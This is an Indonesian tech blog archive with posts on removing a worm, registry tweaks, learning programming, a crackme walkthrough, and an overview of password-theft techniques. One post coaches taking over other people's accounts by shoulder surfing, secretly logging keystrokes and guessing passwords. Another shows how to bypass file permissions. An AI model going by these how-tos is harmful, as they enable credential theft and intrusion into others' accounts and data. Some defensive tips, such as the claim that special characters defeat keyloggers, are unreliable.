Thursday, September 3, 2009

Cara Remove W32.IMAUT.J

kemaren ada komp yang kena ni virus, gw sharing cara bersihinnya... disini pake
Norton Antivirus, tapi gw kasi yang manualnya aja untuk yang gak punya Norton...
(Harus punya hak administrator di komputer)
1. download ini dulu (IE "save target as" atau Firefox "save link as"):
http://securityresponse.symantec.com...UnHookExec.inf
2. klik kanan di file yang barusan di donlot, pilih install (untuk kita bisa jalanin Regedit)
3. kemudian jalankan regedit32 dari folder system32 di windows, biasanya ada di C:\WINDOWS\SYSTEM32\
untuk XP
4. buka
Code:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
atau
Code:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
atau
Code:
HKey_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
hapus yang (antara ini) DisableLocalMachineRun atau DisableLocalMachineRunOnce atau DisableCurrentUserRun atau
DisableCurrentUserRunOnce atau noRun. dia bisa pake apa aja untuk disable RUN, kalo gak ada key nya dan run masih di disable,
search for "noRun"
5. hapus juga


"DisableTaskMgr"
"DisableRegistryTools"
6. buka
Code:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Hapus
"Task Manager" = "%Windir\system\svchost32.exe"
"SVCHOST" = "%Windir\system\svhost.exe"
7. buka
Code:
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
hapus
"Start Page" ="[http://]thecoolpics.com/[REMOVED]"
8. buka
Code:
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel
hapus
"Homepage" = "1"
9. buka
Code:
HKEY_CURRENT_USER\Software\Yahoo\pager\View\YMSGR_buzz
dan
HKEY_CURRENT_USER\Software\Yahoo\pager\View\YMSGR_Launchcast
hapus
"content url" = "[http://]thecoolpics.com/[REMOVED]"
10. Restart, masuk ke safe mode
11. hapus file berikut
C:\WINDOWS\system32\svchost32.exe
C:\WINDOWS\system32\svhost.exe
(ini bukan file system, file system adalah svchost.exe dia niru)
12. selametan karna komputer uda bersih

Read More..

[+/-] Selengkapnya...

Thursday, April 24, 2008

Konfigurasi Windows Secara Manual Memakai

Tutorial di bawah ini adalah hasil explorasi saya terhadap program XSetup
Pro. Sebenarnya anda bisa dengan mudah mengkonfigurasi Windows
memakai program X-Setup Pro, tetapi bagi yang ingin mengetahui caranya
secara manual bisa menggunakan tutorial ini. Saat membuatnya saya
menggunakan Windows XP SP 2, jadi jika ada perbedaan key value di dalam
register anda, anda bisa membuatnya sendiri. Tetapi sebagai catatan ada juga
register yang khusus untuk Windows versi tertentu saja.
Menggunakan Regedit
1. Membuka Regedit
Klik Start – Run lalu ketik regedit pada kotak isian Open lalu klik OK
2. Membuat dan menghapus Key
Klik kanan icon folder pada tree yang di dalamnya ingin dibuat key baru
lalu klik New - Key dan beri nama sesuai yang anda inginkan. Jika anda
ingin menghapusnya klik key yang dimaksud lalu tekan tombol Delete.
Pilih yes pada kotak dialog yang muncul
3. Membuat dan merubah dan menghapus String
Klik key di mana di dalam key tersebut akan dibuat string. Klik kanan di
sembarang tempat pada jendela sebelah kanan. Klik New – String Value
lalu beri nama string tersebut. Untuk merubah nama string lagi klik kanan
pada nama string yang dimaksud lalu klik rename dan ubah namanya.
Jika ingin merubah datanya, double klik pada nama string yang
dimaksud, masukkan data lalu klik OK. Jika anda ingin menghapusnya
klik string yang dimaksud lalu tekan tombol Delete. Pilih yes pada kotak
dialog yang muncul. Cara diatas juga bisa digunakan untuk DWORD,
Binary, Multi-String dan Expendable String.
Menghilangkan Apllet "Add/Remove Program" di Dalam Control Panel
1. Masuk ke HKCU\Control Panel\Don't Load\
2. Buat string baru dengan nama addwiz.cpl
3. Ganti datanya menjadi 1
Apllet lain juga bisa diganti dengan cara yang sama hanya saja dengan
nama string yang berbeda sesuai dengan apllet yang dimaksud. Tetapi ada
beberapa apllet yang tidak bisa dihilangkan. Di bawah ini adalah contoh
beberapa nama apllet.
1. Accessibility = access.cpl
2. Add/Remove Program = appwiz.cpl
3. Automatic Updates = wuaucpl.cpl
4. Display properties = desk.cpl
5. Firewall = firewall.cpl
6. Game Controllers & Joysticks = joy.cpl
7. Hardware = hdwwiz.cpl
8. Internet Settings = Inetcpl.cpl
9. Mail = mlcfg32.cpl
10. Modem & Telephones = telephon.cpl
11. Mouse Control = main.cpl
12. Network Setup Wizard = NetSetup.cpl
13. ODBC = odbccp32.cpl
14. Power Management = powercfg.cpl
15. Regional options = intl.cpl
16. Security Center = wscui.cpl
17. Sound and Audio = mmsys.cpl
18. Speech = sapi.cpl
19. System = sysdm.cpl
20. Time and Date = timedate.cpl
21. UPS = ups.cpl
22. User/Passwords Properties = nusrmgr.cpl
Setiap komputer kadang-kadang memiliki apllet yang berbeda di dalam
Control Panel. Jika apllet yang di inginkan tidak ada di dalam daftar, anda bisa
melakukan pencarian dengan menjalankan Search... pada harddisk lalu ketik
*.cpl. Agar apllet yang dimaksud bisa muncul kembali, hapus string yang
bersangkutan yang telah dibuat tadi.
Memunculkan Shortcut ke Suatu Drive D: Saat Klik Kanan My Computer
1. Masuk ke HKCR\CLSID\{20D04FE0-3AEA-1069-A2D8-
08002B30309D}\Shell\
2. Buat key baru dengan nama XQXSETCMD1\
3. Ubah value data pada string bernama (default) dengan Drive D:
4. Buat key baru pada HKCR\CLSID\{20D04FE0-3AEA-1069-A2D8-
08002B30309D}\Shell\XQXSETCMD1\ dengan nama Command
5. Ubah value data pada string bernama (default) dengan letak explorer.exe
berada diikuti dengan D:\. Biasanya explorer.exe berada di
C:\Windows\explorer.exe. (Contoh: C:\Windows\explorer.exe D:\)
6. Jika ingin membuat 2 shortcut maka buatlah String baru dengan nama
XQXSETCMD2 pada HKCR\CLSID\{20D04FE0-3AEA-1069-A2D8-
08002B30309D}\Shell\ lalu ulangi langkah nomor 3 sampai 5. Jika ingin

menghilangkan shortcut hapuslah key XQXSETCMD1
Mengganti Nama My Computer pada Desktop
1. Buka HKCU\Software\Windows\CurrentVersion\Explorer\CLSID\
2. Buat key baru dengan nama {20D04FE0-3AEA-1069-A2D8-08002B30309D}
3. Ganti data value pada string (default) dengan nama komputer yang anda
inginkan
Membuat My Computer Special Folder
Jika saat menggunakan explorer anda merasa kerepotan karena folder yang
ingin dibuka di dalam folder lain, di bawah ini akan ditunjukkna cara membuat
folder spesial. Folder ini akan muncul pada explorer di bawah Control Panel
1. Buka HKLM\SOFTWARE\Classes\CLSID\
2. Buat key baru bernama {55028DEA-EA62-4c5f-A1F3-9D123DFAEDA1}
3. Pada string (Default) ganti data valuenya dengan nama folder yang anda
inginkan
4. Buat string baru bernama InfoTip lalu ganti data valuenya dengan
komentar tentang folder tersebut
5. Buat key baru pada HKLM\SOFTWARE\Classes\CLSID\{55028DEAEA62-
4c5f-A1F3-9D123DFAEDA1} dengan nama DefaultIcon
6. Buat expandable string dengan nama (Default) lalu isi datanya dengan
shell32.dll,4
7. Buat key baru pada HKLM\SOFTWARE\Classes\CLSID\{55028DEAEA62-
4c5f-A1F3-9D123DFAEDA1} dengan nama InProcserver32.
8. Buat expandable string dengan nama (Default) lalu isi datanya dengan
SHDocVw.dll
9. Buat string dengan nama ThreadingModel dan isi datanya dengan
Apartement
10. Buat key baru pada HKLM\SOFTWARE\Classes\CLSID\{55028DEAEA62-
4c5f-A1F3-9D123DFAEDA1} dengan nama Instance
11. Buat string baru dengan nama CLSID lalu isi datanya dengan
{0AfACED1-E828-11D1-9187-B532F1E9575D}
12. Buat key baru pada HKLM\SOFTWARE\Classes\CLSID\{55028DEAEA62-
4c5f-A1F3-9D123DFAEDA1}\Instance dengan nama
InitPropertyBag
13. Buat DWORD dengan nama Attributes lalu isi datanya dengan 15
14. Buat expandable string dengan nama Target lalu isi datanya dengan
direktori folder yang anda inginkan misalkan D:\My Documents
15. Buat key baru pada HKLM\SOFTWARE\Classes\CLSID\{55028DEAEA62-
4c5f-A1F3-9D123DFAEDA1} dengan nama ShellFolder
16. Buat DWORD dengan nama Attributes lalu isi datanya dengan f8000110
17. Buat string baru bernama WantsFORPARSING
18. Buat key baru pada
HKLM\SOFTWARE\Microsoft\Windows\CurentVersion\Explorer\My
Computer\NameSpace\ dengan nama {55028DEA-EA62-4c5f-A1F3-
9D123DFAEDA1}
Menonaktifkan Desktop Clean-Up Wizard
Setiap 60 hari sekali secara otomatis akan muncul kotak dialog yang
menanyakan kepada anda apakah anda ingin menghapus icon pada desktop
yang tidak pernah terpakai atau tidak. Jika anda tidak ingin menerima pesan itu
lagi, anda bisa menggunakan cara ini.
1. Buka
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Deskt
op\
2. Ubah data pada DWORD NoRun menjadi 1
Menonaktifkan Peringatan Low Disk Space
Merasa terganggu karena ada peringatan hardisk anda penuh? Lakukan cara di
bawah ini.
1. Buka
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
r\
2. Buat DWORD baru bernama NoLowDiskSpaceChecks lalu masukkan
angka 1 pada datanya
Mengganti Wallpaper Additional Directory
Bagi anda yang gemar mengganti wallpaper, anda mungkin akan tertolong
dengan konfigurasi register ini.
1. Buka HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
2. Ganti data pada string WallPaperDir menjadi letak direktori yang anda
inginkan
Auto-Open Explorer Setelah Restart
Konfigurasi ini akan membuat explorer secara otomatis terbuka setelah
komputer melakukan restart
1. Buka
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advan
ced
2. Ganti data pada DWORD PersistBrowsers menjadi 1
Singkatan
Agar tutorial ini tidak terlalu panjang ada beberapa singkatan yang saya
gunakan:
1. HKCR = HKEY_CURENT_ROOT
2. HKCU = HKEY_CURRENT_USER
3. HKLM = HKEY_LOCAL_MACHINE
4. HKU = HKEY_USERS
5. HKCC = HKEY_CURRENT_CONFIG
Mohon maaf jika ada kesalahan dalam penulisan tutorial ini. Semoga sekelumit
tulisan ini bisa membantu anda yang ingin belajar Register Editor. Kritik dan
saran bisa dikirimkan langsung melalui email saya. Tunggu tutorial lanjutannya.

Read More..

[+/-] Selengkapnya...

Sunday, January 6, 2008

[Info] Javascript untuk Bookmark Mozilla FireFox. Cari File Rapid Lewat Google


Read More..

[+/-] Selengkapnya...

Menjadi Seorang Programmer Komputer, Bagaimana Caranya ?

Bagaimana caranya menjadi seorang programmer komputer? Apa saja yang
perlu dipelajari untuk bisa memprogram komputer? Ini juga termasuk
pertanyaan yang tidak jarang diajukan oleh pengunjung situs ini. Tentu
saja, yang mengajukan pertanyaan semacam ini adalah mereka yang bukan
berlatar belakang informatika. Kemampuan pemrograman komputer saat ini
memang bukan monopoli mahasiswa maupun sarjana informatika saja. Selain
bisa dipelajari secara otodidak, beberapa jurusan non-informatika di
perguruan tinggi juga memasukkan dasar-dasar pemrograman komputer dalam
kurikulum mereka.
Mempelajari pemrograman komputer sebaiknya dimulai dari mempelajari
bahasa pemrograman yang relatif sederhana terlebih dahulu. Bahasa
Pascal/Turbo Pascal maupun C/C++ merupakan alternatif yang baik untuk
memulai. Di kebanyakan perguruan tinggi, Pascal merupakan bahasa
pemrograman pertama yang diajarkan kepada mahasiswa jurusan
informatika. Ini karena Pascal merupakan bahasa pemrograman yang sangat
terstruktur sehingga memungkinkan mahasiswa untuk belajar mengasah
logika pemrograman. Sementara itu, di perguruan tinggi yang lebih maju,
semacam ITB atau UI, para mahaiswa semester awal akan langsung
dikenalkan dengan bahasa C dengan pertimbangan bahwa penggunaannya
lebih luas ketimbang Pascal sehingga lebih aplikatif. Bagi yang belajar
pemrograman secara otodidak, saya sarankan untuk mulai dari Pascal
dahulu, dan berikutnya barulah mempelajari C.
Saya tidak akan menyarankan untuk mempelajari beberapa bahasa
pemrograman sekaligus secara simultan. Hal ini hanya akan membuat
bingung sehingga malahan akan memperlambat proses belajar. Saya
cenderung menyarankan untuk mempelajari dan menguasai secara sungguhsungguh
pada satu bahasa pemrograman tertentu. Sekali kita menguasai
sebuah bahasa pemrograman, tidak sulit untuk mempelajari bahasa
pemrograman lain. Pada pokoknya, setiap bahasa pemrograman hanya
memiliki perbedaan pada sintaks dan cara-cara pendeklarasian variabel,
konstanta, maupun hal-hal khusus semacam array, pointer, atau linked
list (perkecualian ada pada bahasa assembly atau bahasa dengan struktur
'nyeleneh' semacam Prolog). Itulah sebabnya bagi mereka yang sudah
akrab dengan pemrograman komputer, tidak akan terlalu kesulitan untuk
mempelajari bahasa pemrograman baru.
Mirip seperti kegiatan hacking, pemrograman komputer lebih banyak
mengandung unsur seni ketimbang teknis. Mempelajari 'seni' pemrograman
merupakan hal yang tidak kalah pentingnya selain mempelajari bahasa
pemrograman itu sendiri. Subjek-subjek semacam teknik flowchart,
struktur data, maupun logika dan algoritma pemrograman adalah hal yang
perlu dipelajari untuk memahami 'seni' memprogram komputer. Juga jangan
lupa untuk mempelajari teknik-teknik pemrograman semacam OOP (Object
Oriented Programming, Pemrograman berorientasi objek). Semua itu akan
sangat berguna dalam kegiatan pemrograman yang sesungguhnya, terutama
untuk membuat aplikasi-aplikasi yang kompleks.
Beberapa bahasa pemrograman didesain untuk keperluan khusus. Bahasa
assembly perlu dipelajari apabila kita ingin menjadi programmer sistem
yang banyak melakukan akses pada hardware. Sebaliknya, beberapa bahasa
pemrograman didesain untuk mengembangkan aplikasi yang spesifik. Bahasa
Cobol misalnya, lebih banyak digunakan untuk aplikasi bisnis sementara
Prolog biasanya dipakai untuk menciptakan software yang memiliki
kemampuan expert system/sistem pakar (semacam teknik kecerdasan
buatan). Tidak perlu kemaruk mempelajari semuanya. Cukup pelajari
bahasa pemrograman yang sekiranya dibutuhkan saja.
Untuk ukuran saat ini, bahasa pemrograman visual dibawah lingkungan
Windows seperti Visual Basic atau Delphi merupakan bahasa pemrograman
'favorit' para developer Untuk mereka yang berkecimpung dalam
pemrograman database, penguasaan terhadap SQL dan variannya (MS SQL,
MySQL maupun PosgreSQL) merupakan nilai tambah. Sementara itu,
penguasaan bahasa C merupakan keharusan bagi para programmer yang
berkutat dengan OS Linux maupun pengembang software yang sifatnya
lintas platform.
Terakhir, komputer dan pemrogramannya adalah dunia yang terus
berkembang secara dinamis. Jangan berpuas diri dengan kemampuan yang
dimiliki saat ini. Bahasa dan teknik pemrograman baru terus bermunculan
dari waktu ke waktu. Seorang programmer sejati tidak pernah berhenti
belajar dan mengasah kemampuannya.

Terimakasih.

Read More..

[+/-] Selengkapnya...

Monday, December 10, 2007

Nt dari jauh

This summary is not available. Please click here to view the post.

Read More..

[+/-] Selengkapnya...

Sunday, December 2, 2007

Cara Biasa Buka Acoun

Berikut adalah beberapa cara nge-hek akon yang pernah saya pelajari dan ‘alhamdulillah’
lumayan sukses untuk nge’hek’ akon, baik akun sendiri maupun orang lain.
1. Akun punya sendiri
Misal akun blog kita sendiri dan kita kehilangan passwordnya, maka cara nge’hek’nya,
gunakanlah menu Reset password atau forgot password dan atau yang semisalnya.
2. Akun punya orang lain
a. Pakai Mata
Untuk cara ini, anda harus berada di dekat orang yang ingin anda ‘hek’ akunnya. Ketika
sasaran sedang mengetikkan passwordnya, maka perhatikan baik-baik karakter yang
sedang dketikkannya. Jika anda memperhatikan dengan baik, maka tingkat keberhasilan
anda bisa mencapai 100%.
b. Pakai keylogger
Pertama-tama, nyalakan komputer, lalu uninstall semua anti virus yang ada di komputer
anda. Lalu download-lah sebuah tools yang dinamakan dengan keylogger. Apa itu
keylogger? Silakan search via Google. Setelah anda sukses mendonwloadnya, jangan
lupa untuk segera meng-installnya. Habis itu …. pura-puralah menjadi orang yang baik
hati dengan meminjamkan komputer anda kepada target. Nah, cerita selanjutnya, semua
yang dilakukan target akan terekan dengan baik oleh keylogger :-) .
c. Pendekatan personal
Dengan selang kepercayaan 68% (data tidak valid), hampir semua pengguna internet
menggunakan password untuk akunnya berkaitan dengan hidupnya sehari-hari. Misalnya
: menu sarapan paginya, atau nama mantan pacarnya, atau siapala/apalah …. Nah, untuk
melakukan jurus ini, setidaknya anda harus sudah mengenal terlebih dulu siapa target
anda dengan baik :-) .
Demikian, semoga bermanfaat.

Read More..

[+/-] Selengkapnya...

File Proteksi

Tips Ini Berguna banget kalo ente di Foldernya Make Permission yang memungkinkan
orang lain ga' boleh liat data ente kecuali yang ada di data permission. Caranya ada 3:
Cara 1: Gunakan fungsi penghilangan deskriptor keamanan di Ntbackup
Ini ga' pake tool external looo... cukup jalankan program Backup dari XP (ntbackup.exe,
Start > Run > ketikkan "ntbackup.exe"). Gamphanx: Jalanin, trus berkas terproteksi dapat
terlihat di daftar file! Pilih file yang terproteksi lalu backup. Nah, bis itu, kalo dah
backup, restore lagi, tapi inget! Jangan pilih Original Location waktu backup! Pilih
Single Folder/Alternate Folder. Trus Klik Restore ada pilihan Advance, JANGAN
CENTANG RESTORE SECURITY. Setelah proses restore selesai, file dapat dilihat
kembali!!! TANPE PESAN ACCESS DENIED!!
CARA 2: Boot dari sistem lain
Pake WinPE! Jangan Pake CD Bootable WinXp! Kalo pake WinPE, biar terproteksi file
tetap bisa kita lihat. Untuk dapat mengaksesnya kembali di windows, kopi file yang
terproteksi ke tempat lain yang tidak terproteksi. Reboot, jalankan Windows. File tersebut
dapat terlihat!! TANPA PESAN ACCESS DENIED!!
CARA 3: Ubah hak milik
Ente musti punya kekuasaan Administrator untuk melakukan ini semua
Pengubahan hak milik ini akan merubah pemilik suatu file/folder. Caranya sebagai
berikut:
Pertama kali kita harus mengubah setelan Folder agar menampilkan setelan Sharing
tingkat lanjut, caranya:
- Buka Windows Explorer
- Pergi ke Folder Options
- Pergi ke tabulasi View
- Pada Kotak daftar Advanced Settings, cari dan hilangkan centang pada Use Simple
File Sharing
- Klik OK
Setelah itu...
- Klik kanan pada file/folder yang dimaksud lalu pilih Properties
- Pergi ke tabulasi Security
- Pada bagian bawah, klik Advanced
- Pergi ke tabulasi Owner
- Centang Replace owner on subcontainers and objects, jika ada.
- Lalu di kotak daftar Change Owner To, pilih salah satu (Terserah, mau nama ente atau
grupnya)
- Klik Apply, lalu OK
- Klik Apply, lalu OK
Sekarang kita telah mengubah kepemilikan, sekarang kita tinggal mengubah hak akses,
caranya:
- Klik kanan pada file/folder yang tadi lalu pilih Properties
- Pergi ke tabulasi Security
- Di bagian bawah, klik Advanced
- Pada tabulasi Permissions, Hilangkan centang Inherit from parent the permisson
entries that apply to child objects... bla...bla..bla, kemudian klik Copy
Jika tadinya kotak ini tidak dicentang, maka biarkan apa adanya!
- Pada tabulasi yang sama, centang Replace permissons on all child objects...... bla
...bla ...bla
- Di kotak daftar Permission entries, Ente hapus semua butir yang ada. Caranya, klik di
salah satu dari nama yang ada kemudian klik Remove. Ulangi terus hingga daftarnya
kosong.
- Kemudian, klik Add..., Lalu klik Advanced, Lalu klik Find Now, Lalu Cari dan Klik
Everyone, lalu klik OK, dan OK.
- Kemudian, Pada Apply Onto, pilih This folder, subfolders, and files.
- Pada Permissions, Pada baris Full Control, centang kotak dibawah kolom Allow.
- Klik OK, dan OK.

Read More..

[+/-] Selengkapnya...

Solusi untuk Beginner

[Tutorial] Solusi untuk Beginner

Solusi untuk krack file elf_cm1.exe
===================================

1. Jalankan file elf_cm1.exe secara normal dan klik "check!"
2. Catat error message yang muncul = "no, not really."
3. Exit elf_cm1.exe, buka Olly dan load file elf_cm1.exe.
4. Untuk mencari serial, kita menggunakan langkah yang berbeda dengan teknik patching dengan melakukan
tracing satu per satu terhadap algoritma yang dibuat program, maka dari itu kita akan set breakpoint pada saat
user meng-klik "check!".
Terlebih dahulu anda harus mengetahui dasar2 WinAPI(Application Programmable Interface), ok akan kita
pahami dengan learning by doing. Download dulu help untuk winAPI di
Code:
http://users.ugent.be/~fschoonj/modula2/win32hlp/win32.zip
extract dan tambahkan help file tersebut pada olly dengan cara : pilih menu Help > select API help file dan pilih
file win32.hlp. Cukup sampai disini dan kita lanjutkan find the serial...
5. Pada main window, klik kanan > search for > All intermodular calls. Nha, disitu ada beberapa fungsi API,
kita akan mencari fungsi API apakah yang digunakan untuk mengambil inputan pada window dialog? Adalah
GetDlgItemTextA atau GetDlgItem atau GetDlgItemText atau mirip2 seperti itu deh pokoknya hehe ....
6. Dobel klik pada fungsi GetDlgItemTextA maka akan kembali ke window utama. Set breakpoint(F2) pada
baris
Code:
004012C8 . E8 77010000 CALL ;
\GetDlgItemTextA
Run Program(F9), program elf_cm1.exe akan dijalankan dan masukkan sembarang serial, untuk contoh disini
misalnya : 123, klik "check!" maka proses akan pause sampai pada tanda breakpoint tadi. Untuk mengetahui
lebih detail tentang GetDlgItemTextA, klik kanan pada baris itu dan pilih help on symbolic name (Ctrl+F11).
Sekarang dah ngerti kan kenapa kita membutuhkan reference buat WinAPI?
7. Sekarang perhatikan pada keterangan Return Value pada help WinAPI
Code:
Return Value
If the function succeeds, the return value specifies the number of characters copied to
the buffer, not including the terminating null character.
If the function fails, the return value is zero.
Artinya, jika berhasil mendapatkan serial yang diinputkan user, maka return value akan bernilai jumlah karakter
yang akan disimpan di EAX. Mengapa disimpan di EAX? karena EAX digunakan untuk
Accumulator/perhitungan. Gak percaya? pencet F8 dan Lihat window register pada sebelah kanan, maka akan
bernilai 00000003 (sesuai dengan jumlah karakter yg diinputkan).
8. Pencet F8 5x atau sampe ketemu baris
Code:
004013E9 > \83F8 05 CMP EAX,5
Apa maksudnya? pada baris itu akan membandingkan nilai register EAX yang bernilai 3 dengan 5, yang berarti
bahwa karakter yang dimaksudkan harus berjumlah 5.

9. Set breakpoint pada baris itu dan hapus breakpoint sebelumnya karena kita udah gak pake lagi. Restart
program(F2) dan F9 untuk run program, isi dengan serial 12345.
10. Sebelum pencet F8, perhatikan nilai register Z pada window register sebelah kanan yaitu bernilai 0,
sekarang pencet F8 dan nilai register akan bernilai 1. itu adalah karena fungsi CMP EAX, 5 dan fungsi JNZ
(Jump is not Zero) pada baris selanjutnya adalah membandingkan register Z apakah bernilai 0 atau 1.
Jika Z bernilai 0, maka akan jump ke VA 0040132C, tetapi jika tidak, maka lanjutkan memproses baris
selanjutnya.
11. Tekan F8 terus menerus sambil melihat window register sebelah kanan, perhatikan pada register ESI dan
EDI. ESI akan bernilai serial yang dimasukkan dan akan dibandingkan dengan nilai EDI yang berasal dari
program, stop jika ketemu baris
Code:
004012E9 > /A7 CMPS DWORD PTR DS:[ESI],DWORD PTR ES:[EDI]
disitu akan dibandingkan string ESI dan EDI. CMPS akan merubah nilai register Z menjadi 0 jika tidak sama
atau 1 jika sama.
Dari sini sebenernya sudah bisa ditebak jika serial tidak sama dengan "fubar" maka akan "Incorrect". OK
sekarang kita coba dengan terlebih dahulu set breakpoint pada baris CMPS tadi dan hapus breakpoint
sebelumnya ...
12. Pencet F2, F9 masukkan "fubar" dan pencet "check!", maka akan berhenti pada breakpoint dan pencet F9
lagi. Apa yang terjadi?
Uppppsssssss... ternyata masih salah dengan error message yang berbeda... hmm berarti kracking blm berhenti
sampe disini, sabar...sabar hehe...
13. Pencet lagi F2, F9 masukkan sembarang serial tetapi harus 5 karakter. Pencet F8 sehingga perintah CMPS
dieksekusi, sampai pada tahap ini sebenernya anda dapat langsung merubah nilai Z sehingga baris JNZ tidak
akan dieksekusi tetapi hanya bersifat sementara, caranya gimana? arahkan mouse pada register Z dan dobel
klik, maka nilai Z akan berubah menjadi 1.
14. Pencet F8 terus menerus sambil memperhatikan register ESI dan EDI karena akan ada proses CMPS lagiKetemu serial yang lain kan? ok kita coba masukin serial "word?" tanpa petik dan lihat hasilnya. Kalau masih salah juga berarti ya harus debug lebih lama lagi hehe...That's all folksDari penjelasan tutorial diatas sengaja saya buat panjang agar mudah dimengerti disamping karena saya
termasuk beginner ya otomatis seperti itu yang bisa saya jelaskan
Dan perlu diingat bahwa ini bukanlah satu2nya cara untuk mengetahui serial untuk elf_cm1.exe. Apabila ada
solusi yang lebih tepat dan cepat, silakan di posting disini juga.

Read More..

[+/-] Selengkapnya...

Monday, November 12, 2007

Pasword

pencurian password, pengambilalihan account, merupakan hal yang sering

terjadi di dunia cyber. Bukan hal yang sulit untuk melakukannya, namun banyak para
newbie yang terus saja bertanya-tanya.. "Bagaimana cara mendapatkan password
email orang lain?" atau pertanyaan yang paling sering saya terima ialah..
"Bagaimana cara anda mendapatkan password saya?" :P
Untuk pertanyaan-pertanyaan itulah artikel ini ditulis, semoga bisa menambah
wawasan anda dan membuka pikiran anda tentang betapa pentingnya menjaga
account saat berada di tempat-tempat rawan.
0 [0XFFF0000] Bagaimana Mendapatkannya?
Ada banyak cara untuk mendapatkan suatu password. Beberapa diantaranya tidak
membutuhkan keahlian khusus. Berikut adalah cara-cara yang paling umum dan
paling sering digunakan:

[1]. Social Engineering

[2]. KeyLogger

[3]. Web Spoofing

[4]. Menghadang Email

[5]. Password Cracking

[6]. Session Hijacking

[7]. Menjadi Proxy Server

[8]. Memanfaatkan Kelalaian User Dalam Penggunaan Fitur Browser

[9]. Googling

[1]. Social Engineering

Social Engineering adalah nama suatu tehnik pengumpulan informasi dengan
memanfaatkan celah psikologi korban. Atau mungkin boleh juga dikatakan sebagai
"penipuan" :P Sosial Engineering membutuhkan kesabaran dan kehati-hatian agar
sang korban tidak curiga. Kita dituntut untuk kreatif dan mampu berpikiran seperti sang korban.
Social Engineering merupakan seni "memaksa" orang lain untuk melakukan sesuatu
sesuai dengan harapan atau keinginan anda. Tentu saja "pemaksaan" yang dilakukan tidak secara terang-terangan atau diluar tingkah laku normal yang biasa dilakukan sang korban.
Manusia cenderung untuk percaya atau mudah terpengaruh terhadap orang yang
memiliki nama besar, pernah (atau sedang berusaha) memberikan pertolongan, dan memiliki kata-kata atau penampilan yang meyakinkan. Hal ini sering
dimanfaatkan pelaku social engineering untuk menjerat korbannya. Seringkali sang pelaku membuat suatu kondisi agar kita memiliki semacam ketergantungan kepadanya.Ya,tanpa kita sadari dia mengkondisikan kita dalam suatu masalah dan membuat ( seolah - olah hanya ) dialah yang bisa mengatasi masalah itu. Dengan demikian,tentu kita akan cenderung untuk menuruti apa yang dia instruksikan tanpa merasa curiga. Sosial Engineering adakalanya menjadi ancaman serius. Memang sepertinya tidak ada kaitan dengan teknologi, namun sosial engineering tetap layak diwaspadai karena bisa berakibat fatal bagi sistem anda. Why?? Karena bagaimanapun juga suatu komputer tetap saja tidak bisa lepas dari manusia. Ya, tidak ada satu sistem komputerpun di muka bumi ini yang bisa lepas dari campur tangan manusia. ehebat apapun pertahanan anda, jika anda sudah dikuasai oleh attacker melalui social engineering, maka bisa jadi anda sendirilah yang membukakan jalan masuk bagi sang attacker.
# Contoh Social Engineering sederhana:

Baca Attachment[Pembalasan Untuk Sang Admin - SOcial Engineering]

[2]. KeyLogger

KeyLogger adalah software yang dapat merekam aktivitas user. Hasil rekaman itu
biasa disimpan berupa teks atau gambar. KeyLogger bekerja berdasarkan ketukan
keyboard user. Aplikasi ini mampu mengenali form-form sensitif seperti form password misalnya.

Ada cara aman untuk menghindari keyloger:

1. Gunakan password dengan karakter special seperti !@#$%^&*(){}[].

Kebanyakan

keyloger akan mengabaikan karakter ini sehingga sang pelaku (pemasang

keyloger) tidak akan mendapatkan password anda yang sebenarnya.

2. Persiapkan password dari rumah, simpan dalam bentuk teks. Saat ingin memasukkan password, tingal copy-paste ajah. Keyloger akan membaca password anda berdasarkan ketukan keyboard. Namun cara ini agak beresiko.
Mengapa?
karena saat anda melakukan copy, data anda akan tersimpan di clipboard.
Saat ini banyak dijumpai software-software gratis yang bisa menampilkan data dalam clipboard.

[3]. Web Spoofing

Masih ingat kasus pecurian Account sejumlah nasabah Bank BCA? Ya,itulah salah
satu contoh nyata dari Web spoofing. Inti dari tehnik ini ialah dengan memanfaatkan kesalahan user saat mengetikkan alamat situs pada address bar.
Pada dasarnya, Web Spoofing adalah usaha untuk menipu korban agar mengira dia
sedang mengakses suatu situs tertentu, padahal bukan.
Pada kasus bank BCA, pelaku membuat situs yang sangat mirip dan identik dengan situs aslinya sehingga sang korban yang terkecoh tidak akan merasa ragu mengisikan informasi sensitif seperti user name dan Passwordnya.

Padahal,

karena situs tersebut adalah situs tipuan, maka semua informasi berharga tadi terekam oleh webserver palsu, yaitu milik sang pelaku.

[4]. Menghadang Email

Menghadang email? Ya, dan sangat mudah untuk melakukan hal ini. Salah satu cara adalah dengan menggunakan mailsnarf yang terdapat pada utility dsniff.
Cara kerja Mailsnarf adalah dengan menghadang paket data yang lewat di Internet dan menyusunnya menjadi suatu email utuh. Dsniff dan mailsnift merupakan software bekerja atas dasar WinPcap (setara dengan libcap pada Linux) yaitu suatu library yang menangkap paket- paket data.
Paket-paket yang ditangkap ini akan disimpan dalam bentuk file oleh Windump,
sedangkan Dsniff dan MailSnarf bertindak lebih jauh lagi yaitu menganalisa paket-paket data ini dan menampilkan password (dsniff) atau isi email (mailsnarf).

Baca artikel terkait pada arsip lama :)

[5]. Password Cracking

"Hacking while sleeping." itulah ungkapan yang biasa dipakai oleh

orang-orang

yang melakukan password cracking. Mengapa? Karena pada umumnya

dibuthkan waktu

yang lama untuk melakukan pasword cracking. Bisa berjam-jam, bahkan

berhari -

hari! Semua itu tergantung dari target, apakah sang target menggunakan

password yang umum, password memiliki panjang karakter yang tidak

biasa, atau

password memiliki kombinasi dengan karakter-karakter special.

Salah satu software yang biasa digunakan untuk melakukan hal ini ialah

dengan

mengunakan Brutus, salah satu jenis software remote password cracker

yang

cukup terkenal. Brutus bekerja dengan teknik dictionary attack atau

bruce-force attack terhadap port-port http, POP3,ftp, telnet, dan

NetBIOS.

Dictionary Attack bekerja dengan mencobakan kata-kata yang ada dalam

kamus

password. Sedangkan brute - force attack bekerja dengan mencobakan

semua

kombinasi huruf, angka, atau karakter.

